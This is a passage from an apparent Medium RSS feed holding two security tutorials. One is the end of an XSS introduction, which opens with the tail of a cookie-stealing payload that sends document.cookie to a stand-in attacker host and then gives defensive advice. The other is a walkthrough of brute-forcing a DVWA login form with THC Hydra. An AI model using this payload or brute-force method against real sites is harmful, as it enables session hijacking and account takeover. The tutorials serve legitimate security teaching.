src=&quot;http://www.maliciouswebsite.com/?cookie=&#39;+document.cookie()+&#39;&quot; \&gt;&#39;);<br>&lt;/script&gt;</pre><p>The above payload will attempt to load an image from a website controlled by the attacker. The link of the image contains the cookie value of the target user. So, when it receives this request, the malicious website will log this value.</p><p>The attacker can then check the logs to retrieve the cookies of all users who connected to that website.</p><h3>Protect against XSS</h3><p>Here are some good practices that you should follow to protect your website against XSS attacks:</p><ul><li>The web application should always <strong>validate user input</strong>, and that is, for every data provided by users. This process involves ensuring that the provided input is in the expected format. For example, if you are asking the user for their age on an input field, then you should expect the provided data to be a positive integer that is less than 120. Any value that is outside of this range shouldn’t be accepted.</li><li>Web applications can also use <strong>encoding</strong> to escape certain characters that aren’t supposed to be processed by the web browser. For example, if we want to embed user-provided input into an HTML element, we would need to HTML-encode it. That is, we need to convert HTML reserved characters into HTML entities (For example, ‘&lt;’ will be converted to ‘&amp;lt;’). Likewise, if we want to embed user-provided input into a Javascript data value, we would need to Javascript-encode it.</li><li>The <strong>HTTP Header</strong> can also provide a good layer of defense against XSS. The use of “<em>Content-Type</em>” and “<em>X-Content-Type-Options</em>” in response headers can limit the execution of scripts on a webpage.</li></ul><p>We have covered the essentials in this article. So now, you should have a basic understanding of Cross-Site Scripting.</p><p>Nevertheless, there is more to XSS than what we have covered here. So you shouldn’t be content. At least not yet. I invite you to build on what we have discussed here and learn from other resources on the web. For instance, the <a href="https://owasp.org/www-community/attacks/xss/">OWASP</a> and <a href="https://portswigger.net/web-security/cross-site-scripting">PortSwigger</a> websites provide a good reference for this topic.</p><p><em>Originally published at </em><a href="https://patchthenet.com/articles/introduction-to-cross-site-scripting-xss/"><em>https://patchthenet.com</em></a><em> on August 13, 2021.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e2c001ad9132" width="1" height="1" alt=""><hr><p><a href="https://medium.com/geekculture/introduction-to-cross-site-scripting-xss-e2c001ad9132">Introduction to Cross-Site Scripting (XSS)</a> was originally published in <a href="https://medium.com/geekculture">Geek Culture</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Using THC Hydra To Brute Force Login Forms]]></title>
            <link>https://medium.com/codex/using-thc-hydra-to-brute-force-login-forms-7ee9c28a863c?source=rss-74aeef845ec5------2</link>
            <guid isPermaLink="false">https://medium.com/p/7ee9c28a863c</guid>
            <category><![CDATA[brute-force]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[dictionary-attack]]></category>
            <category><![CDATA[hydra]]></category>
            <dc:creator><![CDATA[A. Boukar]]></dc:creator>
            <pubDate>Fri, 06 Aug 2021 13:03:18 GMT</pubDate>
            <atom:updated>2021-08-07T01:27:07.807Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>THC Hydra</strong> is a powerful tool to use against login forms. It can perform brute force and dictionary attacks against different types of applications and services.</p><p>When a web application relies on usernames and passwords as its only line of defense, a pentester or a malicious user can use Hydra to perform a dictionary attack against it. This will allow them to retrieve the credentials of existing users that they may then use to gain unauthorized access to a restricted page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/0*wAqNJNPETylruXL6.jpg" /></figure><p>Hydra can attack not only web forms, but also many other protocols, including SSH, SMB, FTP, and many others. However, in this article, we will only focus on attacking a web application login form.</p><h3>Downloading THC Hydra</h3><p>Hydra is compatible with Windows, macOS, and Linux.</p><p>If you are using Kali Linux, then you should already have Hydra installed.</p><p>If not, then you can download it by visiting the <a href="https://github.com/vanhauser-thc/thc-hydra">official Github repository</a> of the product and checking for the latest release.</p><p>Once the download is complete, you can compile and install Hydra by running the following commands in sequence:</p><pre>./configure<br>make<br>make install</pre><p>You may also need to install some dependencies for Hydra to work without issues.</p><p>Here is the command to run for Debian-based distributions. You should look for the equivalent libraries for your distribution if these do not work for you.</p><pre>apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libmemcached-dev libgpg-error-dev libgcrypt11-dev libgcrypt20-dev</pre><p>In order to have a web application against which we can test Hydra, I will be using <strong>DVWA</strong>. This is a vulnerable web application that you can use to test your hacking skills legally against a real target. You can go ahead and <a href="https://github.com/digininja/DVWA">download it</a> if you want to reproduce the steps that I will cover here in your own environment. Otherwise, you can just follow along.</p><p>So now that we have everything ready and set, let’s go ahead and start.</p><h3>Identifying the Form Parameters</h3><p>Ok, so now we are going to attack the following login form:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UWRo77OhQKT1hEnn.png" /></figure><p>It is located on my local machine in the following URL: <a href="http://localhost/DVWA/vulnerabilities/brute/">http://localhost/DVWA/vulnerabilities/brute/</a></p><p>The first thing we need to do is to identify the form parameters, and also the method that is used. There are many ways you can do this.</p><p>For our case, we are going to check the source code of the page and then try to locate the code block that is associated with our login form.</p><p>Here is what we got :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*6Ytz0cpFtY8S1svY.png" /></figure><p>So, what can we deduce from this?</p><p>First of all, we can tell that the form uses the GET method.</p><p>We also know that when submitted, the form redirects to the same page (We can deduce this from the “#” value that is assigned to “action”).</p><p>And finally, we know that we have three parameters:</p><ul><li><strong>username:</strong> This will have the username value.</li><li><strong>password:</strong> This will have the password value.</li><li><strong>Login:</strong> This is associated with the submit button, and will have a fixed value of ‘<strong>Login</strong>’</li></ul><h3>Getting a Wordlist</h3><p>Whenever you intend to perform a dictionary attack using THC Hydra, you will have two options.</p><p>Depending on the information that you may or may not have gained on your target, you can either :</p><ol><li>Provide Hydra with two files, (also called wordlists): One that contains a list of candidate usernames, and the other containing candidate passwords;</li><li>Or, if you are lucky enough to know a username, you can provide it only with one wordlist for the passwords along with a single username. Note that you can also do the opposite, meaning that you can provide a single password and a wordlist for possible users (which can be useful during a password spraying attack).</li></ol><p>For our case, we do not know the username, so we will use option 1, and therefore we will provide 2 wordlists.</p><p>When we launch hydra, it will try all combinations of users and passwords that exist in these 2 wordlists.</p><p>If you do not have a wordlist for usernames and passwords, you can download what you need from <a href="https://github.com/danielmiessler/SecLists">SecLists</a>. This is a collection of wordlists for all sorts of dictionary attacks.</p><h3>Writing the THC Hydra Command</h3><p>Now that we have all the elements that we need, let’s create our Hydra command.</p><p>The syntax for running hydra to brute force a login form is as follow:</p><pre>hydra -L USERFILE -P PASSWORDFILE DOMAIN/IP METHOD &quot;REDIRECTIONURL:PARAMETERS:FAILMESSAGE:H=COOKIES&quot;</pre><p>Here is what each element means:</p><ul><li>USERFILE : The wordlist for candidate usernames.</li><li>PASSWORDFILE: The wordlist for candidate passwords.</li><li>DOMAIN/IP: The domain name or the IP address of the target web application. For our case, that’s “localhost”.</li><li>METHOD: Since we have a GET method, we’ll use here http-get-form. If we had POST, we would have used http-post-form.</li><li>REDIRECTIONURL: This is the complete url to where the form redirects us after pressing submit. So, for our case, we’ll use ‘/DVWA/vulnerabilities/brute/’.</li><li>PARAMETERS: This is where we will type in our parameters. This will equal the following: “username=^USER^&amp;password=^PASS^&amp;Login=Login”, where ^USER^ and ^PASS^ are placeholders for the values in the username and password wordlists respectively.</li><li>FAILMESSAGE: This is the error message that the web application shows when we type in incorrect credentials. This is how Hydra will know that it got the correct username and password. To get this message, we can simply fill in the form with incorrect credentials. When we try to do this on our target, we get the following message:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/0*Hw25yuZvPd6YAr4M.png" /></figure><ul><li>COOKIES: This value is not always necessary, but sometimes it can be required. For example, if you need to be authenticated to access your target page, then you need to provide Hydra with the cookies related to your authenticated session. Otherwise, it wouldn’t be able to access the page. So to retrieve the value to use for the cookie, you should right-click on the web page and select Inspect. On the developer tools that appear, select the storage option, and then click on cookies (This method may differ depending on your web browser). By following this process, here is what I got:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HAswpaKhBPDLUSdx.png" /></figure><h3>Launching the Attack</h3><p>Now, our command should look something like this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aM5B6UW_rX6cBFoY.png" /></figure><p>I have added the -V flag at the end of the command for verbose output. This tells Hydra to show on the screen, not only the found credentials but also all the failed attempts.</p><p>When we launch our command, we should see Hydra trying a combination of usernames and passwords.</p><p>After a few attempts, Hydra finds the correct username and password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ukTmeOsPgbbmNg4O.png" /></figure><p>As this post demonstrates, we were successful here because the username and password were ridiculously simple. If there was enough complexity, it would have taken us a lot more time to find the correct credentials.</p><h3>Conclusion</h3><p>THC Hydra was developed as a proof of concept to demonstrate how easy it is to hack passwords. It supports many capabilities and includes a lot of modules with interesting features. We have barely scratched the surface in this article.</p><p>If you want to get a wider grasp of what Hydra is capable of, I invite you to read the help :</p><pre>hydra -h</pre><p><em>Originally published at </em><a href="https://patchthenet.com/articles/using-thc-hydra-to-brute-force-login-forms/"><em>https://patchthenet.com</em></a><em> on August 6, 2021.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7ee9c28a863c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/codex/using-thc-hydra-to-brute-force-login-forms-7ee9c28a863c">Using THC Hydra To Brute Force Login Forms</a> was originally published in <a href="https://medium.com/codex">CodeX</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>